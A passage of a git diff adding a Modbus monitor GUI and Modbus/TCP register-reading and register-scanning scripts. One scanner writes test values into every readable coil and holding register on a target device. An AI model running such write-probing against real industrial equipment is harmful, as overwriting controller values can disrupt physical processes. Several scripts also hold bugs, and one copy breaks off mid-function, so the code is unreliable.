toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + 